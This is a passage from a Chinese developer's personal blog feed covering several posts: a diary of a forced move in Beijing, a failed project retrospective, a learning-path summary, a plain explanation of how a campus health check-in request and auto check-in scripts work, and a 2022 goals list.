&lt;p&gt;9-19日，我准备用一天的时间找房，一大早在村里面转了一圈，打了好几个地方都是没房了。中午去了煜都物业那边看了几个2300+的房子，有了逼不得已的待选项，实在强制搬离没有找到房子的话就只能搬到这边来了。下午的计划就是去找一下中介那边看房，因为中介那边有1699，1799，2099的合租房，既然便宜一点也没什么房源的情况下也不失是一个考虑的点，毕竟离公司很近，能走路上班，就是中介费贵了点（一个月真的太贵了，抢钱了属于是）。但是就在我刚吃完中饭的时候，房东来找我了。因为三层及三层以上，房东这边只有六间，之前那些找到房子的租客，陆陆续续搬离了，上午的时候，倒数第二家搬了，只剩我一个。房东敲我门看起来比我还着急，然后我说我打算今天把房子找好，明天一定就搬。房东强调着，那个时候就晚了，今天搬，我能喊村里政府喊的搬家公司搬家，但是你明天走的话性质就不一样，那个时候就是清房子了，是强制搬走了。重复了很多遍，目的就是让我今天下午搬走。面对突如其来的困难，在我待选项中出现了一个选项，就是辞职回家......，所有的这些都不在我的计划之内，我当时也确实没有找到合适的房子，就愣在那里了。房东就建议我搬去兄弟那里去，我说北京没有认识的兄弟，只有同事。最后房东想起了楼下还有两家住户常年不在这边，空着房子，就给一家租户打了个微信视频说了情况让我先去他那暂住一段时间，再找找房子，找到就搬出去。在那个租户同意的一瞬间，我对着房东的手机那边低声说了一句谢谢哥，就开始有点哽咽强忍泪水。之后我就把自己的行李打包往下搬了，我还是不太想让人看到我的眼泪，就一直等每人的时候哭出来，擦擦再继续走。真的非常感谢房东，压力一下子要小了很多。&lt;/p&gt;
&lt;p&gt;晚上的时候去看了豆瓣找到的一间西红门 2200 次卧的合租房。虽然房租是之前的两倍，但是比之前看到的几家好多了。隔壁室友也是同级的，在西直门上班，他 7 点多出门，我 8 点多上班，这样上班时间刚好错开，而且通勤时间和以前一样 —— 骑单车三十多分钟的路程。这边有两个商场、一个公园，走两个路口是地铁口，交通方便，民水民电。看完后和房东聊了合同相关事宜，协商好明天晚上搬过来并且签合同。&lt;/p&gt;
&lt;p&gt;晚上回到住的地方，躺在床上却睡不着，一直想着房租的事情，毕竟对于我当前的收入来说，2200 还是太贵了，就好比是直接给房东打工，每个月攒不住钱了。押一付三，前几个月留的钱也基本都得用到这上面了，有点后悔这么快和房东敲定，要不花时间再找找？但是很快我换了一个思路，第一，再花时间找房子无疑是非常消耗精力的，第二，我来北京这边其实一直是抱着学习的心态，工资一直都非常低，转正高了点但是也攒不了多少钱，调整自己的心态学习就完事了，隐忍这一年明年使劲搞钱。这样想着，我安心地睡着了。&lt;/p&gt;
&lt;p&gt;9-20号，一大早起来就开始研究货拉拉怎么喊车，看了半天喊了一个中包只运货不需要搬家的，结果下午的时候打电话告诉我因为某某原因让我推掉订单（其实就是不想过来了）。然后下午发了好几个订单一直没有司机接，原因也很简单，就是村里面的路非常不好走，只有一条窄窄的道，基本是来车了，人啊，自行车，摩托就都过不了了，所以也挺无奈的。原定八点左右去租的房子那边，时间来到五点多了，也所剩无几了，就索性试试搬家的服务，点了一个需要司机协助搬的货拉拉，结果没两分钟就有司机接单了。等司机过来之后，和我说看错了，以为不在村里面，结果还是过来了，因为一直没有司机接时间又非常紧，所以我一直在说谢谢，然后协助司机把车停在靠路边的位置（到了晚饭点了，车子多了起来，很多自行车，电摩都不愿意让车，一直往前钻，挺气人的）。&lt;/p&gt;
&lt;p&gt;大概六点多的时候我收拾的差不多了，这个货拉拉的订单是七点整的，但是我害怕到时候越晚车越多直接出不去了，所以就喊司机师傅帮忙就开始搬东西准备走了，因为今天开始规定货拉拉搬家的车不能进村，所以车不能从村口开出去，只能倒出去，走另外一条路。一切顺利，我走在车的后面指挥者很快就倒出去了。&lt;/p&gt;
&lt;p&gt;准备出发的时候，有个阿姨买完菜回来，看到我搬家就问了一句，“你们是搬去哪里，房租多少”。我说：“西红门那边，2200”，只见阿姨低身叹气说道：“好贵”，离开了。上了车之后，师傅就问了我房租的事情，还问了我工作的事情，我们就聊开了起来。&lt;/p&gt;
&lt;p&gt;我和师傅说我刚毕业一年，一个人来的北京，还讲了我第一次来北京的火车上发生的事情，就是有一个大哥借了我的充电宝，然后和我说了一句话我可能很久都不会忘，就我说我是亲戚介绍来这边工作的，他就说“如果我是你的亲戚，我一定不会让你来北京。”。师傅听到后分享了一些自己的个人经历，他 21 岁来北京，现在 41 了，整整 20 年的青春奉献给了北京。做了 17 年的水果店生意，每天晚上 12 点进货，早上 4、5 点起来摆摊的生活，一个月车贷、房贷压得喘不过气来，生物钟也开始紊乱，白天没有精神，晚上非常有精神，最近几年才干起货拉拉的工作，生物钟也慢慢正常了起来，想做的时候就拉一下，不想做就回家。我时时做下嗯嗯的回应，时时说着“真的每一个工作都不容易”的感慨。&lt;/p&gt;
&lt;p&gt;师傅也分享了一些个人见解，他聊到了北京的现状，认为北京过不了几年就会没落，从他口中得知很多企业都撤离了北京，除了互联网公司，绝大多数岗位不再需要更多的人，到时候本地人也只能去外地工作。他得知我在互联网工作就说了对互联网工作的看法，认为做互联网工作以后无法转型去做别的需要体力劳动，身体吃不消没力气，经常加班熬夜，岁数大点就承受不住，自然而然就被淘汰了。确实是这样子，因此我也时常下意识地锻炼一下身体。至少每天坚持骑车上下班。生活不易，猫猫叹气。&lt;/p&gt;
&lt;p&gt;路上有说有笑，一下就到了目的地。因为还没到和房东约好的时间，所以我就让师傅帮忙把东西放到楼下就走了。师傅临走前，从他车里递给我两只他刚买的香蕉，就急忙开车走了。我站在原地看着师傅的车渐渐远去，一只手拿着师傅给我的香蕉，一只手举着高高的竖了个大拇指。&lt;/p&gt;
</content:encoded></item><item><title>记一次失败的项目经验</title><link>https://reajason.eu.org/writing/failureprojectexperience/</link><guid isPermaLink="true">https://reajason.eu.org/writing/failureprojectexperience/</guid><pubDate>Mon, 11 Jul 2022 19:41:36 GMT</pubDate><content:encoded>&lt;h2&gt;项目内容&lt;/h2&gt;
&lt;p&gt;对内部员工使用的 OA（Office Automation 办公自动化） 系统进行为期一个月（2022-06 ~ 2022-07）的样式调整，统一样式，两周用于测试。&lt;/p&gt;
&lt;p&gt;项目人数三人，一个跟着当前项目工作了一年的后端开发（bt），一个刚转正两个月的萌新（我），一个刚招来的前端开发（sd）。&lt;/p&gt;
&lt;p&gt;项目样式调整前工作，几个复杂界面的 UI 设计图以及一个开发进度安排。&lt;/p&gt;
&lt;h2&gt;系统概述&lt;/h2&gt;
&lt;p&gt;当前系统使用 SpringBoot + Thymeleaf+ Bootstrap4 + jQuery 打造而成。HTML 页面中充斥着对 DOM 节点的操作，各种难以维护的代码逻辑，随处可见的复制粘贴原封不动的代码，没有封装，没有模块化，没有抽离成单独的 JS 文件或单独的 HTML 文件或 CSS 文件。CSS 大多内嵌在 DOM 上，大量重复的 CSS 样式堆叠在页面最上方显得单个文件行数格外的多。没有统一的代码风格，没有统一的模块使用，例如表格控件使用了 jQuery DataTable 和 Bootstrap DateTable，弹框更多，整个代码框架显得非常凌乱。&lt;/p&gt;
&lt;p&gt;简而言之，这是一个老旧项目，维护起来有一定的困难。&lt;/p&gt;
&lt;h2&gt;项目开发&lt;/h2&gt;
&lt;p&gt;由于前期根本没有做系统的整体框架调研，直接开始埋头改代码，因此在第一周的时间里面只简单改了列表页和编辑页，边改边调，问题非常地多。个人认为在修改之前应该面对现有的问题（即样式统一调整）给出多个解决方案（例如表格、弹窗、消息统一使用哪个库，哪种修改策略能使风险降低 —— 风险评估） —— 往往第一个解决方案不是最好的。&lt;/p&gt;
&lt;p&gt;刚好前一个月读完了代码大全，因此第一周一直就是一个心态，不要急着写代码不要急着写代码不要急着写代码。事实证明确实如此，由于没有统一就开始修改，导致反复多次进行修改，拉长了战线，也降低了成员的积极性。先想好了怎么做再去做往往比边做边想更有效率。&lt;/p&gt;
&lt;p&gt;第一周结束之后，稍微有了一个统一的修改模板。第二周我开始了修改框架源码的道路，由于模态框使用了 artDialog 也有 bootstrap 的 modal，统一为 bootstrap 的，因此我修改了 artDialog 渲染弹窗的模板，它使用的是 table 布局，自定义类名只能加在原有类名最前面，因为内部使用 split 来获取 DOM 的映射关系，放在后面就会更改 DOM 的名字导致不起作用。&lt;/p&gt;
&lt;p&gt;第二周结束，我们大致修改了两三个大菜单下的页面，组长检查了修改的页面提了很多问题，因此我们边改边继续着接下来的大菜单。这一周我研究了 jQuery DataTable 的 fixColumns 插件的源码，原因就是当前表格在固定最后一列的时候表头在 x 轴滚动条滑动的同时会跟着滑动，急需解决。然后我查看官网发现官网已经给出了解决办法，因此我提议更新当前插件的版本，并且修改了源码（读取表格的滚动条，并在表头最后生成一个滚动条宽度一致的块）。这周分给我系统管理菜单下的用户管理、部门管理和岗位管理。树结构用的 zTree，研究了半天发现简直就是个垃圾，不如自己写一个，可以这么说，我觉得我实习写的树结构都比它好使。这一周的开发效率挺高的，因为有了前两周的修改经验，而且修改的模板也逐渐趋于统一。每一周结束检查的时候，组长都会提一些修改建议，点也是越来越细，需要修改的问题也越来越多。PS：有些页面表格使用 td 拼接，与逻辑交织在一起导致无法修改，修改风险 max，因此会选择最小侵入式修改（简单改改类名和 CSS）。&lt;/p&gt;
&lt;p&gt;最后一周，我写了两个工具类，一个是计算表格高度使得适配整个页面而不出现滚动条。第二个是在 AdminLTE3 IFrame 插件基础上，添加新增 tab 栏，关闭 tab 栏等方法，这样子在 iframe 内也能支持点击新建 tab 栏了。还写了一个公共方法，在搜索栏太高的情况下，添加收起和展开搜索框的功能，成就感还是蛮大的。&lt;/p&gt;
&lt;p&gt;还有一个重要的事情，那就是代码合并，由于我们进行样式调整的同时，仍然在开发新功能，导致代码合并冲突非常多，而且这次采用的合并策略是最后进行一次合并而不是持续集成。不过最后组长一个人进行这个事项，降低了我们的工作复杂度，但是一个人真的太难了，最后我们也是在合并好的代码后检查，不对的和新开发的地方进行修改调整。&lt;/p&gt;
&lt;p&gt;还有两周测试时间，测试提交问题，我们进行修改。&lt;/p&gt;
&lt;h2&gt;总结与展望&lt;/h2&gt;
&lt;p&gt;In my opinion，本次主要的问题有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;没有做系统调研就评估了工作量，显然评估错误，页面过多有些过于复杂，导致不能在保证项目完成的前提下，照顾到每一处细节。&lt;/li&gt;
&lt;li&gt;在代码修改之间没有提出统一的调整模板而是边改边统一，导致进度缓慢以及提高了复杂度。&lt;/li&gt;
&lt;li&gt;没有做风险评估，修改过程全靠开发者来评估风险以及承担风险，或许能引入代码审查和结对编程来降低复杂度，但是这样提高了成本。&lt;/li&gt;
&lt;li&gt;代码集成策略不应是最后一次进行集成，而应在每周上线，合并 master 分支代码，降低复杂度&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;软件工程的目的就是降低复杂度。一个好的管理者或是领头羊对于一个团队来说真的非常重要。最近在读《&lt;a href=&quot;https://qiangmzsx.github.io/Software-Engineering-at-Google/#/?id=software-engineering-at-google&quot;&gt;Software-Engineering-at-Google&lt;/a&gt;》，感觉很多都还不是很懂。好好学习，天天向上，将来我也要有自己的团队。&lt;/p&gt;
</content:encoded></item><item><title>学了半年 Java 和前端基础，我能写出什么来</title><link>https://reajason.eu.org/writing/whatcouldidowhenlearninghalfyearjavaandhtml/</link><guid isPermaLink="true">https://reajason.eu.org/writing/whatcouldidowhenlearninghalfyearjavaandhtml/</guid><pubDate>Fri, 01 Apr 2022 15:17:21 GMT</pubDate><content:encoded>&lt;h2&gt;学习路线&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;2021 年 10 月 ~ 2022 年 04 月&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一开始在总监的指导下看了 &lt;strong&gt;一个多月&lt;/strong&gt; 的《Java核心技术卷Ⅰ》，一步一个脚印地敲着上面的案例代码做笔记，Swing 那个就敲不下去而且也没有学习的必要。之后就是步入 JavaEE 的学习，从 Servlet/JSP（看的《HeadFirst》系列的书，很受益） -&amp;gt; JDBC -&amp;gt; 前端基础（HTML/CSS/JavaScript）（跟着 B 站最高点击黑马 pink 老师学的，不过没有学完），前面打基础的时候走得真的很慢很慢，原因就是每次学完一个阶段感觉差不多就和总监汇报，总监每次的回复总是 &lt;strong&gt;『不要学太快，慢下来把基础打好，不要赶进度......』&lt;/strong&gt;。 MySQL -&amp;gt; Mybatis -&amp;gt; Spring -&amp;gt; SpringMVC，后面框架这块学得飞快，原因就是没做什么项目，因此我反复刷了三四遍教程，看了尚硅谷，黑马，动力节点这部分的教程，还有《Spring In Action》还有一些乱七八糟的关于 SSM 和 Spring 的书。这期间也在前端的视频带动下学了 Vue 框架（看的 CodeWhy 老师的 Vue3 课程，真的是每天晚上回去刷一节两小时的课，现在想起来都觉得自己牛批），因此在 12 月份开始写了这个 &lt;strong&gt;博客系统&lt;/strong&gt;（使用的 SpringBoot + Vue 目前还没写完善，只有简单的展示功能）写了 &lt;strong&gt;一个多月&lt;/strong&gt; 才有的目前的雏形。Spring 源码学了 &lt;strong&gt;一个月&lt;/strong&gt;，先是跟着 mini spring 走了一遍，然后就是尚学堂的 Spring 源码视频看了一遍，能力有限没有完全吸收，不过也还算受益匪浅（主要就是依赖注入，AOP 的理解更加深入了还有设计模式的使用）最后 &lt;strong&gt;一个月&lt;/strong&gt; 做了一个 &lt;strong&gt;后台权限管理系统&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;期间学习了 nginx，docker，CS61B（伯克利数据结构相关课），redis，JDK 集合源码......，当然都没学得怎么深入，不过学习永不停止，总有一天我会掌握^.^&lt;/p&gt;
&lt;h2&gt;学习成果&lt;/h2&gt;
&lt;h3&gt;博客系统 + 后台管理系统&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;链接地址：https://blog.reajason.top/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;技术栈：SpringBoot + Vue&lt;/p&gt;
&lt;p&gt;简简单单贴一张首页的图片，后台管理界面目前就简单的 CRUD，界面交互没有做完善，就不展示了（目前还有点小丑，不过之后我会尽力让它看起来漂亮无比）&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;后台管理系统&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;链接地址：https://blog.reajason.top/oa/admin/index&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;技术栈：SpringBoot + JSP + JQuery，关于主要写了哪些，可以进网站首页简介查看&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主页多级菜单栏 + tab 栏基于 iframe 子页面的菜单切换&lt;/li&gt;
&lt;li&gt;分页器的实现，简单的判断条件，生成不同的样式&lt;/li&gt;
&lt;li&gt;树形数据结构的渲染，除了递归还是递归&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;总结与展望&lt;/h2&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;自学了这么久，也自己给自己总结了一些学习经验。学习技术的时候不要死磕一个一直学，这个学累就来点别的，比如 Spring 一直看代码看累了，写点前端给自己眼睛舒服舒服。&lt;/li&gt;
&lt;li&gt;学习要有输入也要有输出，同时要保持思考的习惯。不要害怕程序报错，往往报错给了你最有力的证明你的错误在哪里。学习会遗忘，因此多看几遍，总会学会，前端我学了三四遍，MySQL 我同样学了三四遍，学 Spring 的时候我也是看了两三家培训机构的视频还有一些书，知识点都抄几遍就记住的，实践的时候脑子里面有东西做起来就快了。&lt;/li&gt;
&lt;li&gt;无论做什么不要老是空想，想做什么就去做什么，做成什么样就看你做的时候了，你不做就永远不知道会是什么样，对自己要有信心，之前一段时间玩 LOL 就一直摆烂，最近学习也是增加了自己的信心，我游戏里面走位也越来越自信，心情一下就好了。&lt;/li&gt;
&lt;li&gt;学习真的会累，学累了就停下来思考思考学点其他的或者回顾之前的学习的知识或者做点其他感兴趣的事情，这一段时间的思考并不会阻碍你学习的脚步，反而会让你之后的学习的脚步越来越快。就拿我学 Spring 框架那段时间，一直就是框架框架框架的，我感觉学习不到什么真正的技术（框架都封装好了，就学怎么用就完事了），因此我就跑去看了重构，看了Java基础的『八股文』，看了前端如何布局等等。就是回归基础的东西，让自己不那么『基础不牢地动山摇』，自己心里也不好受。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;展望&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;希望自己不要停下学习的脚步，一步一个脚印&lt;/li&gt;
&lt;li&gt;坚信自己一定会成功（网上总有负面的那种表述和调侃，诸如绝大多数都是普通的人要认命之类的，我认为我们确实要认命，但是我们不能不努力，都是成年人了，自己的命运能掌握的那一块请好好掌握住）&lt;/li&gt;
&lt;li&gt;飞机遇难也引发了很多思考，希望大家都身体健康，快快乐乐（保护自己的人身安全和财产安全）&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>关于点击了打卡提交按钮</title><link>https://reajason.eu.org/writing/clicksubmitbtnwhathappened/</link><guid isPermaLink="true">https://reajason.eu.org/writing/clicksubmitbtnwhathappened/</guid><pubDate>Sat, 19 Mar 2022 12:08:29 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;首先我想先铺垫一点点基本概念。网上的信息都是经过了『网络』这个转播媒介，计算机网络讲的就是这部分（物理层-&amp;gt;数据链路层-&amp;gt;网络层(IP)-&amp;gt;运输层(TCP\UDP)-&amp;gt;应用层(DNS\HTTP\FTP\SMTP)）。对于我们用户来说我们直接使用的就是应用层之上的服务。&lt;/p&gt;
&lt;p&gt;常见的就是 &lt;strong&gt;HTTP（Hypertext Transfer Protocol，超文本传输协议）&lt;/strong&gt;，我们使用浏览器访问页面就会发送非常多的 HTTP 请求，发送了请求获取到数据 HTTP 的活就干完了，接下来就是浏览器将数据展示出来。&lt;strong&gt;DNS（Domain Name System，域名系统）&lt;/strong&gt; 就是域名解析，根据你的域名解析 IP 地址（为了让用户更好的记住网站地址，而不是让用户去记 IP 地址）。 FTP（File Transfer Protocol） 用于文件传输，&lt;strong&gt;SMTP（Simple Mail Transfer Protocol）&lt;/strong&gt; 用于邮箱服务等等。&lt;/p&gt;
&lt;p&gt;用户通过应用层的这些协议来获取数据，那么这些数据在哪里呢，答案就是在这个世界上的某台计算机的数据库里面放着。数据库分为关系型数据库(MySQL、Oracle)、非关系型数据库(Redis)......一般存储用户数据都是用的关系型数据库类似于 excel 表，可以理解为为什么每次没打卡的信息导出的都是 excel 表格（而且每次没打卡的都是那么几个人（bushi））。&lt;/p&gt;
&lt;p&gt;知道怎么获取数据，和数据怎么存的我们就能开始回答这个问题了。&lt;/p&gt;
&lt;h2&gt;点击前&lt;/h2&gt;
&lt;p&gt;为了更好的回答这个问题，我还是想说说点击前发生了什么事情，也就是我们点击首页健康打卡图标进入到打卡界面这一段时间。&lt;/p&gt;
&lt;p&gt;发送了非常多的 HTTP 请求。有的用来获取选项有哪些（为什么会发送呢，因为如果写在软件里面了，那下次修改模板的时候只能通过发放新版本来更新，而通过 HTTP 我只需要修改数据库你获取得就是不一样的）；有的用来获取你上一次的打卡数据（现在很多学校通知取消回显功能，那么这个请求可能就返回不了什么有用的数据了）；有的用来获取你的个人信息（学院、班级、姓名等等）；有的用来获取你当前的位置（就是你当前的地址，请求的是百度的 Web API）。（Web API（application programming interface，应用程序接口） 可以理解为一次特定 HTTP 请求的姿势，定义了传过去什么数据，返回来什么数据）&lt;/p&gt;
&lt;p&gt;发送了上面那么多 HTTP 请求才会展示给你打卡界面。此时你需要慢慢填写你的打卡信息了。&lt;/p&gt;
&lt;h2&gt;点击后&lt;/h2&gt;
&lt;p&gt;终于在此刻（00:01），你眼睛都不眨得一下一口气填完了所有的信息，终于要点击提交按钮，准备睡觉了（指熬到零点打卡睡觉）。&lt;/p&gt;
&lt;p&gt;首先会做的就是验证你的信息有没有漏填，必填项没填，点击按钮会告诉你哪里没填，不准你提交打卡。必填项也填好了，一切准备就绪，点击提交。程序会收集你所填写的信息组合在一起，组合起来的样子其实就是配置文件 post_json 里面可以填写的样子，这就是为什么往配置文件里面填，能让它自动提交配置文件的数据，你所填写的打卡选项都会被封装到 updateinfo 这个里面，格式大致如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;areaStr&quot;: &quot;...&quot;,
    &quot;customerid&quot;: &quot;xxx&quot;,
    &quot;deptStr&quot;: {
        &quot;deptid&quot;: &quot;xxx&quot;,
        &quot;text&quot;: &quot;xxx&quot;
    },
    &quot;deptid&quot;: &quot;xxx&quot;,
    &quot;gpsType&quot;: 1,
    &quot;phonenum&quot;: &quot;xxx&quot;,
    &quot;reportdate&quot;: &quot;xxx&quot;,
    &quot;source&quot;: &quot;app&quot;,
    &quot;stuNo&quot;: &quot;xxx&quot;,
    &quot;templateid&quot;: &quot;pneumonia&quot;,
    &quot;token&quot;: &quot;xxx&quot;,
    &quot;updatainfo&quot;: [
        {
            &quot;propertyname&quot;: &quot;sex&quot;,
            &quot;value&quot;: &quot;男&quot;
        },
        {
            &quot;propertyname&quot;: &quot;xxx&quot;,
            &quot;value&quot;: &quot;xxx&quot;
        }
    ],
    &quot;userid&quot;: &quot;xxx&quot;,
    &quot;username&quot;: &quot;xxx&quot;,
    &quot;ver&quot;: &quot;xxx&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;收集好用户信息组合成这样之后就会开始发送 HTTP 请求，发送的就是这一串数据，返回的数据当然就五花八门了（再次说一下 HTTP 请求简单理解为发送数据获取数据，当然有些不会发送数据，它只获取数据）。大致有：&lt;code&gt;areaStr 不能为空&lt;/code&gt;、&lt;code&gt;deptid 不能为空&lt;/code&gt;、&lt;code&gt;找不到机构模板&lt;/code&gt;、&lt;code&gt;打卡频繁&lt;/code&gt;、&lt;code&gt;成功&lt;/code&gt;、&lt;code&gt;模板不符&lt;/code&gt;......这其实是脚本才会大概率报出这样的错误，APP 由于数据处理好了，所以提交只会有成功、频繁。成功了当然就会返回一个页面，一个大大的绿色的✅，下面一行字写着提交成功。看到这个界面基本就安心睡去了。&lt;/p&gt;
&lt;p&gt;但是数据提交过去可不能就这么没了，不然老师获取未打卡名单里面还是会有我们，所以数据存在了数据库里面，以看起来是 excel 的形式的关系型数据库，姓名，班级，打卡时间，打卡数据......。&lt;/p&gt;
&lt;h2&gt;自动打卡是怎么运作的&lt;/h2&gt;
&lt;p&gt;自动打卡的目的只有一个就是想法设法模拟发送上面这个 HTTP 请求，所以脚本就是在想尽一切办法把这些字段补齐。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;token，需要登录获取，所以写了登录的代码，模拟登录发送 HTTP 请求，获取到 token&lt;/li&gt;
&lt;li&gt;updateinfo，现在回显功能取消的话，基本是告别了获取上次数据的简单流程，所以不得不在配置文件的 updateinfo 中填写你的那些获取不到信息的打卡数据&lt;/li&gt;
&lt;li&gt;其他字段也是发送 HTTP 请求帮助我们获取的，其重点就是我们要去找要去抓包，看 app 是怎么获取的那部分数据（抓包也就是看 APP 发送了哪些 HTTP 请求，我们能用软件捕获到他们，然后我们进行分析，分析它发送了什么数据，又获取到了什么数据，这一次 HTTP 请求是否对我们有用）&lt;/li&gt;
&lt;li&gt;推送功能，自动打卡当然不能只有一个悄无声息的 HTTP 请求数据发过去，我们用户需要知道到底发送了什么，成功了没有，错误的话又是怎么个错误原因，都是由推送来推送给我们使用者&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;数据获取发送通过 HTTP 请求&lt;/li&gt;
&lt;li&gt;数据保存在数据库里面（为了就是老师导出未打卡的人员的时候到底有没有我们）&lt;/li&gt;
&lt;li&gt;脚本就是在想法设法发送最关键的那一个 HTTP 请求，但是为了这一个又必须发送非常多其他的 HTTP 请求&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>2022 年度目标</title><link>https://reajason.eu.org/writing/2022annualgoals/</link><guid isPermaLink="true">https://reajason.eu.org/writing/2022annualgoals/</guid><pubDate>Thu, 10 Feb 2022 15:20:53 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;书读百遍，其义自见 —— 《三国志》&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;📚读书清单&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;（边看，边更新）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;书名&lt;/th&gt;
&lt;th&gt;状态&lt;/th&gt;
&lt;th&gt;完成日期&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;《Effective Java》&lt;/td&gt;
&lt;td&gt;已读&lt;/td&gt;
&lt;td&gt;2022/05/10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《Java核心技术》（重读）&lt;/td&gt;
&lt;td&gt;已读&lt;/td&gt;
&lt;td&gt;2022/05/10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《JavaScript高级程序设计》&lt;/td&gt;
&lt;td&gt;已读&lt;/td&gt;
&lt;td&gt;2022/06/29&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《OnJava8》（Java编程思想第五版）&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;正在读&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《计算机网络：自顶向下方法》&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;正在读&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《重构：改善既有代码的设计》&lt;/td&gt;
&lt;td&gt;已读&lt;/td&gt;
&lt;td&gt;2022/10/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《软技能：代码之外的生存指南》（重读）&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;正在读&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《代码整洁之道》&lt;/td&gt;
&lt;td&gt;已读&lt;/td&gt;
&lt;td&gt;2022/09/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《代码大全》🌟&lt;/td&gt;
&lt;td&gt;已读&lt;/td&gt;
&lt;td&gt;2022/05/27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《计算机程序的构造与解释》&lt;/td&gt;
&lt;td&gt;未开始&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《程序员的职业素养》&lt;/td&gt;
&lt;td&gt;已读&lt;/td&gt;
&lt;td&gt;2022/10/15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《蛤蟆医生去看心理医生》&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;正在读&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;《哲学故事》&lt;/td&gt;
&lt;td&gt;未开始&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;🎯其他目标&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] 六块腹肌&lt;/li&gt;
&lt;li&gt;[ ] &lt;s&gt;存款 X 万（等四月份转正看工资再定）&lt;/s&gt; 存不了钱&lt;/li&gt;
&lt;li&gt;[x] &lt;s&gt;家里配一台电脑&lt;/s&gt;(买了显示器和键盘等于我买了电脑) —— &lt;strong&gt;2022/08/14&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;[ ] &lt;s&gt;去长城&lt;/s&gt; 太远了，一来一回太久了，不想去了&lt;/li&gt;
&lt;li&gt;[x] 去环球影城 —— &lt;strong&gt;2022/04/23&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;[ ] &lt;s&gt;完成博客全栈系统&lt;/s&gt; 转学 Unity 无时间也不太想做这块了&lt;/li&gt;
&lt;li&gt;[ ] &lt;s&gt;完善完美校园打卡脚本&lt;/s&gt; 解封，已不再使用，没有投入精力的必要了&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;💊杂谈&lt;/h2&gt;
&lt;p&gt;从小就不爱读课外书，不过《青年文摘》，《故事会》，《意林》也都看过，加上语文阅读理解不行（每次考试能及格就是恭喜），读书特费劲。其实大一的时候就尝试改变过一次，买了一本《百年孤独》，读了一点点被人名劝退了，导致不知道它在讲什么，然后就不了了之了。直到 2021 年，找第二份 Java 工作时，总监要求我看两个月的 《Java核心技术》这本书，我才发现书籍的魅力，由于之前的自学经历基本都是通过视频学习，看书根本看不进去。看了这本书之后发现之前学习看的视频完全不是一个梯度的，学到了非常多的知识，然后就开始找很多很多的书开始慢慢看，因此想借此机会慢慢养成读书的习惯，作为想成为程序员大佬的我，当然要好好看书沉淀自己的知识啦（广度~深度）✨。&lt;/p&gt;
&lt;p&gt;身体是革命的本钱，随着长大，看到越来越多的不好的事情发生，越感到身体健康永远是在第一位。目标有个六块腹肌其目的在督促自己锻炼身体，虽然我每天尽量都是骑单车30分钟上下班，但是觉得还远远不够。还有一个目的就是想找个健身的妹子（当然只是想一下）&lt;/p&gt;
